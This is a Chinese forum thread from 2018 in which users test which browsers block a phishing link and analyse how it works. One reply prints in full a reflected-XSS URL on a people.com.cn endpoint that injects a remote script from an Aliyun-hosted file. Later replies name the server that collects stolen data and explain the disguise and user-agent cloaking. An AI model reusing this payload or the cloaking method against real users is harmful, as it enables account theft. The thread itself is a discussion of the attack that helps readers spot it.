国内所谓的安全套壳浏览器还是不如 Chrome

工单节点使用指南

请用平和的语言准确描述你所遇到的问题

厂商的技术支持和你一样也是有喜怒哀乐的普通人类，尊重是相互的

如果是关于 V2EX 本身的问题反馈，请使用反馈节点

This topic created in 2884 days ago, the information mentioned may be changed or developed.

在电脑上正好收到一个好友的钓鱼链接，用 chrome 打开。没有所谓的云安全，还是被 Chrome 拦截。带着好奇的心态测试了手机上的 Chrome，也是被拦截。
反之测试手机 QQ 内置浏览器。钓鱼网站完美绕过各种安全策略。

附钓鱼链接(V 站不让传短链接，麻烦大家手动补全了，腾讯的短链接)：5yuZZRV

手机 Chrome 被拦截：

Chrome

钓鱼

链接

拦截

40 replies 2018-06-19 19:11:21 +08:00

dingyi9257

Jun 18, 2018 via Android

谷歌大法好

xmdhs

Jun 18, 2018 via iPad

http://tvplayer.people.com.cn/getXMLForHW.php?stgcfhee=srhgctihedesdfbjmvch&more=use_push_mode&path=as.xml&callback=%3Cbr%3E%00%00%00%00%00%00%00%3CscripT%20/src%3D//api61.oss-cn-beijing.aliyuncs.com/login.js?v=0613%3E%3C/scripT%3E%3C!--&tgaadjcxsi=lbsduqrkbhograhibpda.html/ZlSXL.jpg?tt=0&t=sare&time=1529126529879#/hua_reds

好会玩用人民网自然就绕过去了再加上国内的浏览器默认显示标题而不是网址

一般的用户号就被盗了.....

ntdll

Jun 18, 2018

古老的 IE 11 也阻止了请求： https://i.loli.net/2018/06/18/5b2763c53c5b4.jpg

所以人民网为啥会有这种低级的 XSS 漏洞呢

jininij

Jun 18, 2018 via iPhone

chrome 67.0.3396.87 ＋ iOS 11.4 没有任何错误和警告。正常显示。

nolo

Jun 18, 2018 via Android

@jininij chrome 在 ios 上也是 safari 的内核

Vegetables

Jun 18, 2018 via Android

Android chrome 67.0.3396.87 拦截

zpf020610

Jun 18, 2018 via Android

腾讯啪啪打脸

Vegetables

Jun 18, 2018 via Android

顺带问下 MIUI 不能自己更新 webview ？从 apkpure 下载的无法安装，开发者模式显示的还是 Android system webview 62

jimages

Jun 18, 2018

safari 拦截失败

jiujiuKA

Jun 18, 2018 via Android

安卓 chrome 拦截，ff 放行

serical

Jun 18, 2018 via Android

安卓 yandex 拦截

chinasunyingjian

Jun 18, 2018 via Android

@Vegetables 装个框架用 google play 可以更新

acsami

Jun 18, 2018

谷歌大法好

we2ex

Jun 18, 2018 via Android

手机夸克浏览器放行→_→

WillyWong

Jun 18, 2018

Cent Browser 拦截成功

woodrat

Jun 18, 2018

客户端拦截和云拦截还是不太一样的，有些 XSS 不好在服务端检测的，客户端检测不到可能是套壳的版本不够高。。

iyaozhen

Jun 18, 2018 via Android

可怕的是微信里面不拦截

LimboRunner

Jun 18, 2018 via Android

国际版最新 MIUI 浏览器不拦截，小米垃圾

mrcn

Jun 18, 2018 via Android

WebView 64 拦截成功

iwtbauh

Jun 18, 2018 via Android

lineageos 14.1 自带浏览器（其实就是 webview ）成功拦截，显示 net::ERR_BLOCKED_BY_XSS_AUDITOR
chrome for amdroid 67.0 成功拦截
Firefox for android 60.0.2 未拦截

lp10

Jun 18, 2018

Safari 12.0 最终跳转到了王者 x 耀的官网，奇怪……

alvin666

Jun 18, 2018 via Android

@Vegetables googleplay 更新，确实这是个漏洞，MIUI 官方没有更新的，play 上面更新的还可频繁

Vegetables

Jun 18, 2018 via Android

@alvin666 我去试了下微信自带的版本还是 57 呢...ㄟ( , )ㄏ

touxigua

Jun 18, 2018

点进去之后怎样盗号啊也有别人给我发这个。。。

vefawn1

Jun 18, 2018 via Android

安卓
uc 浏览器（国际版）成功放行。
via 浏览器点击链接后一片空白

wuhau

Jun 18, 2018

这是一个钓鱼页面。最后将包 POST 到 http[:]//www[dot]vipaag[dot]cn/ save.php

http[:]//www[.]vipaag[.]cn/admin/login[.]php

view-source:http://www.vipaag[.]cn/admin/set[.]php?mod=site

zpxshl

Jun 18, 2018 via Android

@wuhau 这不是王者荣耀官网吗...是什么黑科技还能将包 post 到其他服务器...

Kazetachinu

Jun 18, 2018 via iPhone

@xmdhs 手机 QQ 浏览器拦截

zst

Jun 18, 2018 via Android

@zpxshl 只是自动跳转吧....你把 www 随便改一下都能看到 lnmp 安装的页面

zpxshl

Jun 18, 2018 via Android

@zst 那请问访问这网站有什么危害吗？

kuleyu

Jun 18, 2018 via Android

@xmdhs 我居然才发现人民网的网址是 people.com.cn ，而不是 people.com 或者 people.cn 。
people.com 是一个外国网站，people.cn 会自动跳转到 people.com.cn 。

freewind

Jun 19, 2018

打开后是 http://pvp.qq.com/ ，这个也能钓鱼？

AV1

Jun 19, 2018

该网页无法正常运作
Opera detected unusual code on this page and blocked it to protect your personal information (for example, passwords, phone numbers, and credit cards).

KgM4gLtF0shViDH3

Jun 19, 2018

@kuleyu #31 银行的地址都是 com.cn

okampfer

Jun 19, 2018

是不是因为你的 Chrome 打开了 Protect you and your device from dangerous sites 这个选项？

okampfer

Jun 19, 2018

Sorry, 刚测试过了，不打开那个选项依然可以拦截。

zpf124

Jun 19, 2018

已经让你们玩坏了，短链被腾讯封了

qcloud

Jun 19, 2018 via iPhone

腾讯已拦截

cncqw

Jun 19, 2018

qq 浏览器是什么情况

wuhau

Jun 19, 2018

@zpxshl http ://api61[.]oss-cn-beijing[.]aliyuncs[.]com/h5[.]js?v=0613
var html = unescape("xxxxx"); 那一大段就是钓鱼页面源码。
然后用 document.write(html)这种方式去替换网页内容，从而域名不变，而内容变。

根据 UA 头去跳转，比如用判断是手机端 /微信 /QQ 浏览器就跳转到钓鱼页面，如果是电脑端直接跳官网上也防止被分析。